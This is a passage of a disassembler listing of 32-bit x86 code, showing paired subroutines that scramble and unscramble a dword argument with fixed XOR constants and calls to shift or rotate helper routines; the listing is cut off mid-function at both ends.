mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 5
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0E0C7E95Bh
mov [ebp+arg_0], eax
push 0Fh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 93D5877Eh
mov [ebp+arg_0], edx
push 17h
push 4
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 11h
push 1
push 1Dh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 9344CFF2h
mov [ebp+arg_0], edx
push 0Ch
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 15h
push 9
push 16h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0B3FB847Ch
mov [ebp+arg_0], edx
push 5
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 1C93A3DDh
mov [ebp+arg_0], ecx
push 4
push 18h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 17h
push 4
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 64DEF633h
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4931BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4932D2 proc near ; CODE XREF: sub_495F54+Dp
; sub_49BB7F+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 64DEF633h
mov [ebp+arg_0], eax
push 17h
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 4
push 18h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 1C93A3DDh
mov [ebp+arg_0], eax
push 0FFFFFFFBh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0B3FB847Ch
mov [ebp+arg_0], edx
push 0FFFFFFEBh
push 9
push 16h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFF4h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 9344CFF2h
mov [ebp+arg_0], edx
push 0FFFFFFEFh
push 1
push 1Dh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 17h
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 93D5877Eh
mov [ebp+arg_0], edx
push 0FFFFFFF1h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0E0C7E95Bh
mov [ebp+arg_0], ecx
push 0FFFFFFFBh
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 14h
push 6
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 109A5038h
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4932D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4933E6 proc near ; CODE XREF: sub_495A73+C6p
; sub_4962AA+C7p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 6F2A152Dh
mov [ebp+arg_0], eax
push 2
push 0
push 16h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 7EAE9678h
mov [ebp+arg_0], edx
push 1Eh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 6
push 0Fh
push 0Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0C474CD12h
mov [ebp+arg_0], edx
push 6
push 16h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 3
push 9
push 16h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4933E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_493474 proc near ; CODE XREF: sub_495A73+Dp
; sub_4962AA+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFDh
push 9
push 16h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 6
push 16h
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0C474CD12h
mov [ebp+arg_0], edx
push 0FFFFFFFAh
push 0Fh
push 0Ch
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFE2h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 7EAE9678h
mov [ebp+arg_0], edx
push 0FFFFFFFEh
push 0
push 16h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 6F2A152Dh
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_493474 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_493503 proc near ; CODE XREF: sub_4951DA+85p
; sub_4989E5+9Ap ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 896FDAA7h
mov [ebp+arg_0], eax
push 13h
push 6
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 14h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0DC8E7CEFh
mov [ebp+arg_0], eax
push 12h
push 5
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 1Ch
push 0
push 1Fh
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0CFCD6E7Bh
mov [ebp+arg_0], eax
push 9
push 10h
push 0Eh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 1Ch
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_493503 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49359E proc near ; CODE XREF: sub_4951DA+Dp
; sub_4989E5+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFE4h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFF7h
push 10h
push 0Eh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0CFCD6E7Bh
mov [ebp+arg_0], edx
push 0FFFFFFE4h
push 0
push 1Fh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 12h
push 5
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0DC8E7CEFh
mov [ebp+arg_0], edx
push 0FFFFFFECh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 13h
push 6
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 896FDAA7h
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_49359E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49363C proc near ; CODE XREF: sub_495BCB+172p
; sub_49602D+E9p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 0FE71655Ah
mov [ebp+arg_0], eax
push 5
push 19h
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 8
push 0Bh
push 13h
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 9C3DDD69h
mov [ebp+arg_0], eax
push 5
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 17h
push 8
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 4
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Fh
push 3
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 3
push 13h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 9
push 0
push 13h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0
push 0Bh
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 7
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0
push 15h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 17h
push 8
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_49363C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49373C proc near ; CODE XREF: sub_495BCB+Dp
; sub_49602D+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 17h
push 8
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0
push 15h
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF9h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0
push 0Bh
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF7h
push 0
push 13h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 3
push 13h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Fh
push 3
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFCh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 17h
push 8
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFBh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 9C3DDD69h
mov [ebp+arg_0], ecx
push 0FFFFFFF8h
push 0Bh
push 13h
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 5
push 19h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0FE71655Ah
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_49373C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49383E proc near ; CODE XREF: sub_497CCC+92p
; sub_49823A+76p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 55D13062h
mov [ebp+arg_0], eax
push 9
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 3
push 19h
push 6
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0Fh
push 1
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 5
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0FE4FFC3Bh
mov [ebp+arg_0], edx
push 16h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ah
push 7
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0A3C6C0h
mov [ebp+arg_0], edx
push 0Ah
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 9
push 5
push 15h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_49383E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4938FD proc near ; CODE XREF: sub_497CCC+Dp
; sub_49823A+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFF7h
push 5
push 15h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFF6h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0A3C6C0h
mov [ebp+arg_0], edx
push 0Ah
push 7
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFEAh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0FE4FFC3Bh
mov [ebp+arg_0], edx
push 0FFFFFFFBh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Fh
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFDh
push 19h
push 6
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFF7h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 55D13062h
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4938FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4939BD proc near ; CODE XREF: sub_49818A+A0p
; sub_499C30+87p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 0F5DB02F4h
mov [ebp+arg_0], eax
push 1Ch
push 3
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 1Ah
push 0
push 1Ch
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0Ch
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ah
push 0Ah
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 9
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 9
push 16h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 14h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4939BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_493A51 proc near ; CODE XREF: sub_49818A+Dp
; sub_499C30+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFECh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 9
push 16h
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF7h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ah
push 0Ah
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF4h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFE6h
push 0
push 1Ch
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 1Ch
push 3
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0F5DB02F4h
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_493A51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_493AE6 proc near ; CODE XREF: sub_49526F+AAp
; sub_4954BD+7Ap ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 9D484E5Bh
mov [ebp+arg_0], eax
push 0Dh
push 5
push 1Ah
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0Bh
push 0Ah
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 4
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 14h
push 7
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 1Eh
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Eh
push 4
push 13h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 8
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ch
push 3
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 3B0C95AAh
mov [ebp+arg_0], eax
push 0
push 1Eh
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0B91BDACEh
mov [ebp+arg_0], edx
push 0Eh
push 6
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 1Dh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 12h
push 3
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 8
push 9
push 0Eh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0BE2CD440h
mov [ebp+arg_0], ecx
push 4
push 0
push 1Eh
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0
push 1Fh
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Ch
push 0Fh
push 0Dh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_493AE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_493C4E proc near ; CODE XREF: sub_49526F+Dp
; sub_4954BD+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFF4h
push 0Fh
push 0Dh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0
push 1Fh
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFCh
push 0
push 1Eh
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0BE2CD440h
mov [ebp+arg_0], eax
push 0FFFFFFF8h
push 9
push 0Eh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 12h
push 3
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE3h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Eh
push 6
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0B91BDACEh
mov [ebp+arg_0], edx
push 0
push 1Eh
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 3B0C95AAh
mov [ebp+arg_0], ecx
push 0Ch
push 3
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF8h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFF2h
push 4
push 13h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFE2h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 14h
push 7
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFCh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Bh
push 0Ah
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF3h
push 5
push 1Ah
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 9D484E5Bh
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_493C4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_493DB7 proc near ; CODE XREF: sub_495B49+72p
; sub_495D4D+75p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, (offset loc_4B9F6E+5)
mov [ebp+arg_0], eax
push 0Fh
push 0
push 19h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 49AB408Dh
mov [ebp+arg_0], edx
push 0
push 1Ah
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 1Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 6
push 13h
push 7
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 5B5DE439h
mov [ebp+arg_0], eax
push 5
push 18h
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 4155876Fh
mov [ebp+arg_0], edx
push 0Ch
push 0Fh
push 0Fh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 842758ADh
mov [ebp+arg_0], ecx
push 6
push 9
push 15h
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0C059A4C8h
mov [ebp+arg_0], eax
push 0Ch
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 15h
push 7
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 4
push 3
push 0Dh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 18h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_493DB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_493EDB proc near ; CODE XREF: sub_495B49+Dp
; sub_498A8F+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFE8h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFFCh
push 3
push 0Dh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 15h
push 7
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Ch
push 2
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0C059A4C8h
mov [ebp+arg_0], ecx
push 0FFFFFFFAh
push 9
push 15h
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 842758ADh
mov [ebp+arg_0], eax
push 0FFFFFFF4h
push 0Fh
push 0Fh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 4155876Fh
mov [ebp+arg_0], edx
push 5
push 18h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 5B5DE439h
mov [ebp+arg_0], ecx
push 0FFFFFFFAh
push 13h
push 7
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFE4h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0
push 1Ah
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 49AB408Dh
mov [ebp+arg_0], edx
push 0FFFFFFF1h
push 0
push 19h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, (offset loc_4B9F6E+5)
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_493EDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_494001 proc near ; CODE XREF: sub_49568F+A4p
; sub_499286+6Ep ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 373364AFh
mov [ebp+arg_0], eax
push 5
push 1Ah
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 13h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ah
push 0
push 1Eh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 1
push 0Bh
